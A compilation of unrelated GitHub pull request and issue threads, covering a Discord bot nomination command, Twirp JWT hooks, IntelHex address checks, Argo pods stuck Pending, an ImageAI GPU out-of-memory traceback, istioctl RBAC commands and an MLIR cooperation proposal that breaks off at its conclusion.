Add context menu command for user nomination

This PR introduces a context menu command that will be available to all Helper+
staff members allowing them to add users to the nomination pool with additional
context.
Upon selecting a message and executing the Nominate User command, the message
jump hyperlink will either be appending to their existing nomination, or a new
nomination will be created with this hyperlink.
The command defaults to being unavailable to all users so upon merge an
Administrator will need to amend the application command permissions in the
guild to permit Helper+ members to use this command.
NOTE: This command adds an error handler for errors that occur during
application command usage for this specific command, I do not consider it
generic enough to move into a shared location as we have no other application
commands as of now, but should we add these features in future we should
consider moving this to the generic error handler class somehow.
Closes #2938

As mentioned on Discord, context menu commands cannot be created in discord.py
using the decorators when they are a part of a class, there seem to be technical
limitations under the hood of discord.py preventing that.
There is more information available
here
that I will link for reference as to why I have implemented the context menu
commands in a slightly odd/manual way.

Can we consider relaying a message to #nominations as well?
When one person nominates a member it often prompts other people to add their nominations/anti-nominations too

Thanks!


Hooks for authentication and authorization

Trying to use hooks for authentication and authorization does not seem possible as stated in the documentation, especially if auth token are present in the header of each request.
I'm using JWT with the token in the authorization header.

Could you say more about why this isn't possible? We do this with two parts: HTTP middleware that puts headers into request contexts, and hooks that check them:
var jwtCtxKey = new(int)

func WithJWT(base http.Handler) http.Handler {
  return http.HandlerFunc(w http.ResponseWriter, r *http.Request) {
    jwt := getJWT(r) // Pulls the jwt out of the Authorization header, or something
    ctx := r.Context()
    if jwt != nil {
      ctx = context.WithValue(jwtCtxKey, jwt)
    }
    r = r.WithContext(ctx)
    base.ServeHTTP(w, r)
  }
}

func JWTCheckerHooks() *twirp.ServerHooks {
  hooks := &twirp.ServerHooks{}
  hooks.RequestRouted = func(ctx context.Context) (context.Context, error) {
    jwt, ok := ctx.Value(jwtCtxKey).(*jwt)
    if !ok {
      // jwt missing: either middleware wasn't run, or it wasnt in the req
      return nil, twirp.NewError(twirp.Unauthenticated, "jwt must be included")
    }
    svc, _ := twirp.ServiceName(ctx)
    method, _ := twirp.MethodName(ctx)
    if !authorized(jwt, svc, method) {
      return ctx, twirp.NewError(twirp.PermissionDenied, "not authorized to use this method")
    }
    return ctx, nil
  }
  return hooks
}

The HTTP middleware wraps your Twirp server; the JWT hooks are called by your server. So it ends up looking like this in package main:
func serve(app haberdasher.Haberdasher) {
  hooks := JWTCheckerHooks()
  var handler http.Handler = haberdasher.NewHaberdasherServer(app, hooks)
  handler = WithJWT(handler)
  http.ListenAndServe(":8080", handler)
}

That's how I use them. What's not working for you in this flow? Or was this flow not clear from the docs? I realize they are pretty sketchy on how you do this.

Thanks @spenczar. Wasn't quite clear from the docs. I think this should be a second example to the statsd example.


Add option for strictly incrementing addresses

Add an option to enforce strictly monotonically incrementing addresses
when loading a hex file.
Added example bad file, added --strict option to the hex_info.py
script to enable the option, which will stacktrace on error:
 # non-strict
❯ python scripts/hexinfo.py testfiles/nonlinear_hexfile.hex
- file: 'testfiles/nonlinear_hexfile.hex'
  data:
  - { first: 0x00000000, last: 0x00000000, length: 0x00000001 }
  - { first: 0x00000010, last: 0x00000010, length: 0x00000001 }
  - { first: 0x00000110, last: 0x00000110, length: 0x00000001 }

 # --strict
❯ python scripts/hexinfo.py --strict testfiles/nonlinear_hexfile.hex
- file: 'testfiles/nonlinear_hexfile.hex'
Traceback (most recent call last):
  File "scripts/hexinfo.py", line 116, in <module>
    sys.exit(main())
  File "scripts/hexinfo.py", line 113, in main
    summarize_yaml(fname, options["strict"])
  File "scripts/hexinfo.py", line 61, in summarize_yaml
    ih = IntelHex(fname, strict_address_increment=strict)
...
    raise AddressDecrementError(address=addr, line=line)
intelhex.AddressDecrementError: Hex file has skipback address 0x10 on line 3

Why you need such behavior?

In my use case, I'm writing hex data into a flash chip and it's useful to not have to handle the scenario where flash address decrements. I added this option to use in a build check to ensure the generated hex files won't have non-monotonically-incrementing addresses, and figured I'd offer it here if there's any interest!

In my use case, I'm writing hex data into a flash chip and it's useful to not have to handle the scenario where flash address decrements. I added this option to use in a build check to ensure the generated hex files won't have non-monotonically-incrementing addresses, and figured I'd offer it here if there's any interest!

I don't really understand. Are you send hex file as is into your firmware?

No worries, I decided to hack it at runtime like this instead:
    ih = IntelHex()
    ih._buf = OrderedDict()
    ih.loadhex(filename)

    lastaddr = None
    for addr in ih._buf:
        assert (
            (lastaddr is None) or (addr > lastaddr)
        ), "Error decrementing address at 0x{:x}".format(addr)
        lastaddr = addr

Closing!


[8.x] Add table name as default morph type

Currently, the default value for morph type is the "namespaced classpath" of the model and the user should define an alias for each new model.
The PR lets the user change the default morph values to the table names with a single method call which is good enough since the table names often do not change and are unique.

Older projects can continue working unharmed as they were before. This is meant to be used for from-scratch projects.

For laravel 9.x it is possible to make the table name as default values and enable the legacy mode with a method call, for upgrading projects.

@imanghafoori1 See above. This PR is broken.

We'll need to revert this as it seems impossible to ever ship this with a working implementation. See my comment here: https://github.com/laravel/framework/issues/35519#issuecomment-740516409


better release script (and overall updates)

This updates:

FAKE to .net 6 alphas
Paket to latest
adds versioning from the changelog
updates FCS
slims down the fake build script massively, relying on Directory.Build.props and the changelog to drive metadata
adds a release github action that uses a nuget key (which I'll generate)

Fixes #101

final blocker before merge is that the Fornax package doesn't have @ionide as an owner. @Krzysztof-Cieslak can you change that so I can provision a key and merge?

don't merge quite yet - doing a side-by-side diff with the generated packages in nuget.info shows a layout difference from 0.13.1

content issue fixed - the template needs to be inside the packed tools dir, which is why the linkbase stuff was there before.  this is now ready to gone once fornax package ownership is moved to the ionide org.

fornax is moved to the ionide org, key is set in this repo's settings, now to merge, tag and verify the pipeline.


bcm2835-bootfiles: Use proper bootfiles for rt-rpi-300

Changelog-entry: Use proper bootfiles for rt-rpi-300
Signed-off-by: Florin Sarbu<EMAIL_ADDRESS>

@balena-ci I self-cerfity!


Solana: script example to read FCD on-chain

The script uses the caller program located in aquarious/programs/caller

I would suggest adding some tests


Front end - fix app initialization

Description
Lot of changes, to transform the "fake" features to real implementation.  Also think that client.ts has grown a lot and will be nice to refactor in the future to improve the farmedBlock list, API-related methods, and the way it works from different pages.
Summary.
Launch the app for the first time.

Setup Plot estimate size from the network.

#44

Plotting Progress validates Node sync and Plot status. Locally and from the network.

#49

User backed up mnemonic.
Start farming
If all is OK then go to Dashboard.

Not first-time app launch.

Validate config and Start farmer.
Redirect to the dashboard.

#60

Show real plot status and size.

#44

Show real node sync and blocks.
Load and store farmedBlocks and rewards.

User reset app from MainMenu.

Remove and clear config file.
Clear LocalStorage.
Relaunch to killing farmer.

Overall, great changes and thank you very much Leo!
I have 3 small requests/comments:

mnemonic was not displayed when I clicked on reveal on the info modal during plotting progress.
In the code, some whitespace was introduced, are you using any linter? If not, I suggest vetur.
This PR is a bit heavy on the changes amount. So, I don't think squash merge is a good idea. We probably want to include the commits to the history for this big PR. However, commits can be re-ordered IMO. Right now, it is a bit chaotic. Rebase can be a good idea for this PR.

mnemonic was not displayed when I clicked on reveal on the info modal during plotting progress.

This is a not covered use case, that is fixed on the front-end-node-integration branch, i was working with a fully synced local node so the farmer started instantly on page load, if the node is not fully synced the farmer is not started and mnemonic not available yet. As i was working on node integration i faced this issue and fixed the problem.


How to ensure that freeReplyObject() can be safely called on redisReply*(without invoking core dump)?

In my client programs, sometimes I'm seeing segmentation faults happening because I called the freeReplyObject() on an invalide redisReply*. What can I check before I call the free function so that segmentation fault does not happen?

https://stackoverflow.com/questions/55844660/writing-a-safe-wrapper-class-for-memory-management-of-a-user-defined-objects-po


Kubectl pods aren't running argo

Hi,
I'm really new to Kubernetes and especially Argo. I'm just following the instructions on "https://argoproj.github.io/argo/quick-start/" but perhaps I've done something wrong.
I'm using WSL 2.0 (Ubuntu) on Windows 10.
My Kubernetes cluster is from Docker for desktop.
Kubectl version: 1.16
Docker version: 19.03.8
Argo version: 2.10
I tried to run:
kubectl -n argo port-forward deployment/argo-server 2746:2746
but I get the error message "error: unable to forward port because pod is not running. Current status=Pending"
so I check the status of my pods:
NAME                                  READY   STATUS    RESTARTS   AGE
argo-server-779cc5bb79-h27zl          0/1     Pending   0          11m
minio                                 0/1     Pending   0          11m
postgres-67658b9b5b-gbwtn             0/1     Pending   0          11m
workflow-controller-8dd6bff96-pmzwc   0/1     Pending   0          11m
None of my pods are running and the namespace has existed for 11 minutes.
These are the only two commands I have done:
kubectl create ns argo
kubectl apply -n argo -f https://raw.githubusercontent.com/argoproj/argo/stable/manifests/quick-start-postgres.yaml

I skipped kubectl create clusterrolebinding... since I'm running this locally. Anyone know what I've skipped?

You can run kubectl describe pod <POD_NAME> to see why the Pod hasn't been started. In your example <POD_NAME> would be workflow-controller-8dd6bff96-pmzwc

Thanks!
This was the error message I got:
Type     Reason            Age        From               Message
  ----     ------            ----       ----               -------
  Warning  FailedScheduling  <unknown>  default-scheduler  0/1 nodes are available: 1 node(s) were unschedulable.

So I do a kubectl get nodes
NAME             STATUS                     ROLES    AGE     VERSION
docker-desktop   Ready,SchedulingDisabled   master   6d19h   v1.16.6-beta.0`

So, I'm guessing I need to enable scheduling for docker-desktop? I didn't even disable it. I've been Googling how to enable the scheduling and I can't seem to find the answer.
Does anyone know what I'm supposed to do here?

Okay, so I thought I had it but it still isn't working.
I ran
kubectl describe nodes
and got
Name:               docker-desktop
Roles:              master
Labels:             beta.kubernetes.io/arch=amd64
                    beta.kubernetes.io/os=linux
                    kubernetes.io/arch=amd64
                    kubernetes.io/hostname=docker-desktop
                    kubernetes.io/os=linux
                    node-role.kubernetes.io/master=
Annotations:        kubeadm.alpha.kubernetes.io/cri-socket: /var/run/dockershim.sock
                    node.alpha.kubernetes.io/ttl: 0
                    volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp:  Tue, 21 Jul 2020 12:52:23 +1000
**Taints:             node.kubernetes.io/unschedulable:NoSchedule**

So I did some Googling and used this command to try and remove the taint.
kubectl taint nodes --all node.kubernetes.io/unschedulable:NoSchedule-
Which got me the following output.
node/docker-desktop untainted
So I check the node again and it's still disabled.
kubectl get nodes
NAME             STATUS                     ROLES    AGE     VERSION
docker-desktop   Ready,SchedulingDisabled   master   6d19h   v1.16.6-beta.0
When I describe the node, nothing has changed.

Okay, so I wasn't able to resolve it by running commands so I just clicked on "Reset Kubernetes Cluster" in the Docker for desktop settings which is disappointing and now I can get my Argo server running just fine.
Funnily enough, I tried doing the exact same thing yesterday and it didn't work...
Something about the definition of insanity...


Linear color space support

Hi @olokobayusuf,
The 3D assets in the video recorded with the latest version of NatCorder (1.8.6) appear dark when compiled with linear color space on Android devices. Video recording in Linear color space was supported in the asset store version (~1.8.2) and is important for our project that has been using NatCorder since the early versions.
But since the latest cloud version, the 3D assets appear dark in the video recorded from an android device, which kind of ruins all the great performance in the cloud version.
Video recording works OK with linear color space on the iOS platform but lacks lighting data on android devices.
Unity version: 2021.1.28f1
Target Platform: Android
Mobile devices tested on: OnePlus Nord 2, Xiaomi Poco f2, Moto X4

Hey @thesanketkale I should note that this actually works everywhere, except when using the GLESTextureInput. We've added linear rendering support to the GLESTextureInput for NatCorder 1.8.7. Should be released later today.

Fixed in 1.8.7.


Using es6 style in tests.

Just trying this in place of truffle and while compile seems to go fine my tests fall over on something like:
import expectThrow from '../helpers/expectThrow';
In truffle the way to allow this syntax is with @babel dependencies added to the package.json and a .babelrc file and the below to the truffle-config.js to activate:
require("@babel/register");({
    ignore: /node_modules\/(?!zeppelin-solidity)/
});
require("@babel/polyfill");

How can I do the same with etherlime?
Thanks.

Hello @AC0DEM0NK3Y, can you provide repository se we can tests and help resolve the issue ?

Repo here: https://github.com/AC0DEM0NK3Y/etherlime_es6
master branch works with truffle.
etherlime branch compiles, fails on test.
The magic for the truffle version to work is this in truffle-config.js:
require("@babel/register");
require("@babel/polyfill");

Hello @AC0DEM0NK3Y
I go through your repository and special through the etherlime branch. I could not reproduce your issue because:

Your tests and import of contracts are truffle style, not etherlime.
Why there is .sol file in the tests ?

Can you go through the migration guide from truffle to etherlime here.
Also can you join and write me in our Telegram group.

I'm no longer working on this, but I think if you want to boost popularity of your framework and help teams migrate who already have a large bank of tests (for eg. I know we had close to 500) you might want to consider looking at this some more.

What the tests do is kind of immaterial, the bug is in the import yes...it's an es6 vs es5 problem your framework currently doesn't have a way to support es6 style code but truffle does. This is the problem.

The code is taken from a truffle "box" as mentioned, it's their code so they would be best asked why they put a .sol in the test. That doesn't affect the bug though.

I went through your guide while I was looking at this and it looks reasonably simple to move over...unless you use es6 code in your bank of truffle tests.


Implement "permissions" and "subjects" sub commands to the "rbac list" command in istioctl

This PR resolve the issue #8979

Provide commands to support queries like list all permissions a subject has, or list all members that are allowed to access a service.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: linsun
If they are not already assigned, you can assign the PR to them by writing /assign @linsun in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
f34c17376e9779d8927ff94201a0fd1cdae69e8a
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@liminw @yangminzhu Could you please take a look?

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
f41a10104d7ed801c426cc8e14fb77e73e02c32b
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
3d209227fa74891fcd27df49efc6e57db105bc80
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

Sample output:
$ istioctl experimental rbac list permissions -s "source.namespace=istio-system"
                SERVICES                  METHODS   PATHS            CONSTRAINTS
 --------------------------------------- --------- ------- --------------------------------
  *                                       GET               destination.labels[app]:
                                                            productpage, details, reviews,
                                                            ratings
  productpage.default.svc.cluster.local   GET

$ istioctl experimental rbac list permissions -s "source.namespace=istio-system" -o yaml
productpage-viewer:
  rules:
  - methods:
    - GET
    services:
    - productpage.default.svc.cluster.local
service-viewer:
  rules:
  - constraints:
    - key: destination.labels[app]
      values:
      - productpage
      - details
      - reviews
      - ratings
    methods:
    - GET
    services:
    - '*'

$ istioctl experimental rbac list members GET details.default.svc.cluster.local /
cluster.local/ns/default/sa/bookinfo-productpage

$ istioctl experimental rbac list members GET details.default.svc.cluster.local / -o yaml
- cluster.local/ns/default/sa/bookinfo-productpage

/retest

For
$ istioctl experimental rbac list members GET details.default.svc.cluster.local /
cluster.local/ns/default/sa/bookinfo-productpage

What does the output look like if there are group and properties specified for the member?

Since "members" queries the list of users allowed to access the given resource, it would be the same.
We can print list of subjects here instead of just list of user field.

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
f0e612c6846841bc4e077fed6db0acd05adaa52a
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

/lgtm

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: yangminzhu
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: linsun
If they are not already assigned, you can assign the PR to them by writing /assign @linsun in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/retest

New changes are detected. LGTM label has been removed.

/lgtm

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: yangminzhu
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: linsun
If they are not already assigned, you can assign the PR to them by writing /assign @linsun in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: liminw, yangminzhu
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: linsun
If they are not already assigned, you can assign the PR to them by writing /assign @linsun in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@liminw Sure we can. The API will mostly depend on the actual use case though.


OOM error when loading model Yolo

I am trying to use ImageAI library for detecting objects in video. It is working properly if CPU is used for processing but performance is far from real time. I have 2080TI  11Gb GPU available but when I try to use it OOM error pop up when I call detector.loadModel(). Please advise how to troubleshoot. Full error traceback:
`ResourceExhaustedErrorTraceback (most recent call last)
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in _do_call(self, fn, *args)
1333     try:
-> 1334       return fn(*args)
1335     except errors.OpError as e:
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in _run_fn(feed_dict, fetch_list, target_list, options, run_metadata)
1318       return self._call_tf_sessionrun(
-> 1319           options, feed_dict, fetch_list, target_list, run_metadata)
1320
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in _call_tf_sessionrun(self, options, feed_dict, fetch_list, target_list, run_metadata)
1406         self._session, options, feed_dict, fetch_list, target_list,
-> 1407         run_metadata)
1408
ResourceExhaustedError: OOM when allocating tensor with shape[3,3,512,1024] and type float on /job:localhost/replica:0/task:0/device:GPU:0 by allocator GPU_0_bfc
[[{{node conv2d_48/random_uniform/RandomUniform}}]]
Hint: If you want to see a list of allocated tensors when OOM happens, add report_tensor_allocations_upon_oom to RunOptions for current allocation info.
During handling of the above exception, another exception occurred:
ResourceExhaustedErrorTraceback (most recent call last)
 in
----> 1 detector.loadModel()
/usr/local/lib/python3.5/dist-packages/imageai/Detection/init.py in loadModel(self, detection_speed)
1049                 frame_detector.setModelTypeAsTinyYOLOv3()
1050             frame_detector.setModelPath(self.modelPath)
-> 1051             frame_detector.loadModel(detection_speed)
1052             self.__detector = frame_detector
1053             self.__modelLoaded = True
/usr/local/lib/python3.5/dist-packages/imageai/Detection/init.py in loadModel(self, detection_speed)
195                 model = yolo_main(Input(shape=(None, None, 3)), len(self.__yolo_anchors) // 3,
196                                   len(self.numbers_to_names))
--> 197                 model.load_weights(self.modelPath)
198
199                 hsv_tuples = [(x / len(self.numbers_to_names), 1., 1.)
/usr/local/lib/python3.5/dist-packages/keras/engine/saving.py in load_wrapper(*args, **kwargs)
490                 os.remove(tmp_filepath)
491             return res
--> 492         return load_function(*args, **kwargs)
493
494     return load_wrapper
/usr/local/lib/python3.5/dist-packages/keras/engine/network.py in load_weights(self, filepath, by_name, skip_mismatch, reshape)
1228             else:
1229                 saving.load_weights_from_hdf5_group(
-> 1230                     f, self.layers, reshape=reshape)
1231             if hasattr(f, 'close'):
1232                 f.close()
/usr/local/lib/python3.5/dist-packages/keras/engine/saving.py in load_weights_from_hdf5_group(f, layers, reshape)
1235                              ' elements.')
1236         weight_value_tuples += zip(symbolic_weights, weight_values)
-> 1237     K.batch_set_value(weight_value_tuples)
1238
1239
/usr/local/lib/python3.5/dist-packages/keras/backend/tensorflow_backend.py in batch_set_value(tuples)
2958             value should be a Numpy array.
2959     """
-> 2960     tf_keras_backend.batch_set_value(tuples)
2961
2962
/usr/local/lib/python3.5/dist-packages/tensorflow/python/keras/backend.py in batch_set_value(tuples)
2878           assign_ops.append(assign_op)
2879           feed_dict[assign_placeholder] = value
-> 2880         get_session().run(assign_ops, feed_dict=feed_dict)
2881
2882
/usr/local/lib/python3.5/dist-packages/tensorflow/python/keras/backend.py in get_session()
480   if not _MANUAL_VAR_INIT:
481     with session.graph.as_default():
--> 482       _initialize_variables(session)
483   return session
484
/usr/local/lib/python3.5/dist-packages/tensorflow/python/keras/backend.py in _initialize_variables(session)
763       v._keras_initialized = True
764     if uninitialized_vars:
--> 765       session.run(variables_module.variables_initializer(uninitialized_vars))
766
767
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in run(self, fetches, feed_dict, options, run_metadata)
927     try:
928       result = self._run(None, fetches, feed_dict, options_ptr,
--> 929                          run_metadata_ptr)
930       if run_metadata:
931         proto_data = tf_session.TF_GetBuffer(run_metadata_ptr)
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in _run(self, handle, fetches, feed_dict, options, run_metadata)
1150     if final_fetches or final_targets or (handle and feed_dict_tensor):
1151       results = self._do_run(handle, final_targets, final_fetches,
-> 1152                              feed_dict_tensor, options, run_metadata)
1153     else:
1154       results = []
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in _do_run(self, handle, target_list, fetch_list, feed_dict, options, run_metadata)
1326     if handle is None:
1327       return self._do_call(_run_fn, feeds, fetches, targets, options,
-> 1328                            run_metadata)
1329     else:
1330       return self._do_call(_prun_fn, handle, feeds, fetches)
/usr/local/lib/python3.5/dist-packages/tensorflow/python/client/session.py in _do_call(self, fn, *args)
1346           pass
1347       message = error_interpolation.interpolate(message, self._graph)
-> 1348       raise type(e)(node_def, op, message)
1349
1350   def _extend_graph(self):
ResourceExhaustedError: OOM when allocating tensor with shape[3,3,512,1024] and type float on /job:localhost/replica:0/task:0/device:GPU:0 by allocator GPU_0_bfc
[[node conv2d_48/random_uniform/RandomUniform (defined at /usr/local/lib/python3.5/dist-packages/keras/backend/tensorflow_backend.py:4357) ]]
Hint: If you want to see a list of allocated tensors when OOM happens, add report_tensor_allocations_upon_oom to RunOptions for current allocation info.
Caused by op 'conv2d_48/random_uniform/RandomUniform', defined at:
File "/usr/lib/python3.5/runpy.py", line 184, in _run_module_as_main
"main", mod_spec)
File "/usr/lib/python3.5/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/local/lib/python3.5/dist-packages/ipykernel_launcher.py", line 16, in
app.launch_new_instance()
File "/usr/local/lib/python3.5/dist-packages/traitlets/config/application.py", line 658, in launch_instance
app.start()
File "/usr/local/lib/python3.5/dist-packages/ipykernel/kernelapp.py", line 505, in start
self.io_loop.start()
File "/usr/local/lib/python3.5/dist-packages/tornado/platform/asyncio.py", line 148, in start
self.asyncio_loop.run_forever()
File "/usr/lib/python3.5/asyncio/base_events.py", line 345, in run_forever
self._run_once()
File "/usr/lib/python3.5/asyncio/base_events.py", line 1312, in _run_once
handle._run()
File "/usr/lib/python3.5/asyncio/events.py", line 125, in _run
self._callback(*self._args)
File "/usr/local/lib/python3.5/dist-packages/tornado/ioloop.py", line 690, in
lambda f: self._run_callback(functools.partial(callback, future))
File "/usr/local/lib/python3.5/dist-packages/tornado/ioloop.py", line 743, in _run_callback
ret = callback()
File "/usr/local/lib/python3.5/dist-packages/tornado/gen.py", line 781, in inner
self.run()
File "/usr/local/lib/python3.5/dist-packages/tornado/gen.py", line 742, in run
yielded = self.gen.send(value)
File "/usr/local/lib/python3.5/dist-packages/ipykernel/kernelbase.py", line 357, in process_one
yield gen.maybe_future(dispatch(*args))
File "/usr/local/lib/python3.5/dist-packages/tornado/gen.py", line 209, in wrapper
yielded = next(result)
File "/usr/local/lib/python3.5/dist-packages/ipykernel/kernelbase.py", line 267, in dispatch_shell
yield gen.maybe_future(handler(stream, idents, msg))
File "/usr/local/lib/python3.5/dist-packages/tornado/gen.py", line 209, in wrapper
yielded = next(result)
File "/usr/local/lib/python3.5/dist-packages/ipykernel/kernelbase.py", line 534, in execute_request
user_expressions, allow_stdin,
File "/usr/local/lib/python3.5/dist-packages/tornado/gen.py", line 209, in wrapper
yielded = next(result)
File "/usr/local/lib/python3.5/dist-packages/ipykernel/ipkernel.py", line 294, in do_execute
res = shell.run_cell(code, store_history=store_history, silent=silent)
File "/usr/local/lib/python3.5/dist-packages/ipykernel/zmqshell.py", line 536, in run_cell
return super(ZMQInteractiveShell, self).run_cell(*args, **kwargs)
File "/usr/local/lib/python3.5/dist-packages/IPython/core/interactiveshell.py", line 2848, in run_cell
raw_cell, store_history, silent, shell_futures)
File "/usr/local/lib/python3.5/dist-packages/IPython/core/interactiveshell.py", line 2874, in _run_cell
return runner(coro)
File "/usr/local/lib/python3.5/dist-packages/IPython/core/async_helpers.py", line 67, in _pseudo_sync_runner
coro.send(None)
File "/usr/local/lib/python3.5/dist-packages/IPython/core/interactiveshell.py", line 3049, in run_cell_async
interactivity=interactivity, compiler=compiler, result=result)
File "/usr/local/lib/python3.5/dist-packages/IPython/core/interactiveshell.py", line 3220, in run_ast_nodes
if (yield from self.run_code(code, result)):
File "/usr/local/lib/python3.5/dist-packages/IPython/core/interactiveshell.py", line 3296, in run_code
exec(code_obj, self.user_global_ns, self.user_ns)
File "", line 1, in
detector.loadModel()
File "/usr/local/lib/python3.5/dist-packages/imageai/Detection/init.py", line 1051, in loadModel
frame_detector.loadModel(detection_speed)
File "/usr/local/lib/python3.5/dist-packages/imageai/Detection/init.py", line 196, in loadModel
len(self.numbers_to_names))
File "/usr/local/lib/python3.5/dist-packages/imageai/Detection/YOLOv3/models.py", line 60, in yolo_main
darknet_network = Model(input, darknet(input))
File "/usr/local/lib/python3.5/dist-packages/imageai/Detection/YOLOv3/models.py", line 38, in darknet
network = residual_block(input=network, channels=1024, num_blocks=4)
File "/usr/local/lib/python3.5/dist-packages/imageai/Detection/YOLOv3/models.py", line 27, in residual_block
network_1 = NetworkConv2D_BN_Leaky(input=network_1,channels= channels, kernel_size=(3,3))
File "/usr/local/lib/python3.5/dist-packages/imageai/Detection/YOLOv3/models.py", line 16, in NetworkConv2D_BN_Leaky
network = Conv2D( filters=channels, kernel_size=kernel_size, strides=strides, padding=padding, kernel_regularizer=kernel_regularizer, use_bias=use_bias)(input)
File "/usr/local/lib/python3.5/dist-packages/keras/engine/base_layer.py", line 463, in call
self.build(unpack_singleton(input_shapes))
File "/usr/local/lib/python3.5/dist-packages/keras/layers/convolutional.py", line 141, in build
constraint=self.kernel_constraint)
File "/usr/local/lib/python3.5/dist-packages/keras/engine/base_layer.py", line 279, in add_weight
weight = K.variable(initializer(shape, dtype=dtype),
File "/usr/local/lib/python3.5/dist-packages/keras/initializers.py", line 227, in call
dtype=dtype, seed=self.seed)
File "/usr/local/lib/python3.5/dist-packages/keras/backend/tensorflow_backend.py", line 4357, in random_uniform
shape, minval=minval, maxval=maxval, dtype=dtype, seed=seed)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/keras/backend.py", line 4955, in random_uniform
shape, minval=minval, maxval=maxval, dtype=dtype, seed=seed)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/ops/random_ops.py", line 247, in random_uniform
rnd = gen_random_ops.random_uniform(shape, dtype, seed=seed1, seed2=seed2)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/ops/gen_random_ops.py", line 777, in random_uniform
name=name)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/framework/op_def_library.py", line 788, in _apply_op_helper
op_def=op_def)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/util/deprecation.py", line 507, in new_func
return func(*args, **kwargs)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/framework/ops.py", line 3300, in create_op
op_def=op_def)
File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/framework/ops.py", line 1801, in init
self._traceback = tf_stack.extract_stack()
ResourceExhaustedError (see above for traceback): OOM when allocating tensor with shape[3,3,512,1024] and type float on /job:localhost/replica:0/task:0/device:GPU:0 by allocator GPU_0_bfc
[[node conv2d_48/random_uniform/RandomUniform (defined at /usr/local/lib/python3.5/dist-packages/keras/backend/tensorflow_backend.py:4357) ]]
Hint: If you want to see a list of allocated tensors when OOM happens, add report_tensor_allocations_upon_oom to RunOptions for current allocation info.`

Do you have another processing using your GPU memory? Performing detection shouldn't cause a memory issue with a YOLOv3 model. It can only occur in cases where you are training with a batch size larger than the GPU can process at once.

Hi Olafenwa
No, I do not have any other process using GPU memory. I do my best to rule out all possible causes including batch size (I try even size = 1) and any residuals from previous sessions (hard reboot of computer). The issue is still unresolved as for now but I do not spend much time on it in the last month. Any other tips will be appreciated.


Possible Huawei cooperation

Hi all,
@stellaraccident, @nicolasvasilache  and I are trying to bootstrap an open cooperation between Google and Huawei efforts to generate highly efficient linear algebra (and sparse) operations directly from MLIR (see this PR, thanks @stellaraccident ).
Introduction
Some of you might have noticed that we have been recently posting on the discourse forum about the main bottlenecks we met to generate an optimal GEMM routine (which is our starting point) targeting Arm architectures:

https://llvm.discourse.group/t/micro-kernel-analysis-in-mlir
https://llvm.discourse.group/t/latency-hiding-pipeline-representation-in-mlir
https://llvm.discourse.group/t/outer-product-spillingb
https://llvm.discourse.group/t/mlir-linalg-bad-perfomance

To fulfill those investigations we created an internal repository which is in spirit very similar to this sandbox (a core c++ compiler+passes, a python interface, and a tool for searching the optimal transformations)
Now that we have a (vaguely) clearer picture of what transformations we might want to implement, we would like to join efforts and use this repository  to keep experimenting with those transformations (instead of creating our own and possibly duplicating everything).
Why I am writing this?
I want to use this thread to organize an online meeting where we can talk and openly discuss how to proceed further. I think the main topics to discuss should be (feel free to add more):

What are our goals and what are our future plans
What the development process should look like (PRs, reviews, etc..)
How to proceed quickly (i.e., making the dev process as light as possible) but maintaining a stable core (e.g., , to avoid sudden changes in interfaces, functionalities, etc..)
How to share ideas, updates, and interesting work

I was thinking that we could have short presentations about goals and plans (the what), and then we can have a discussion about cooperation (the how)
Conclusion
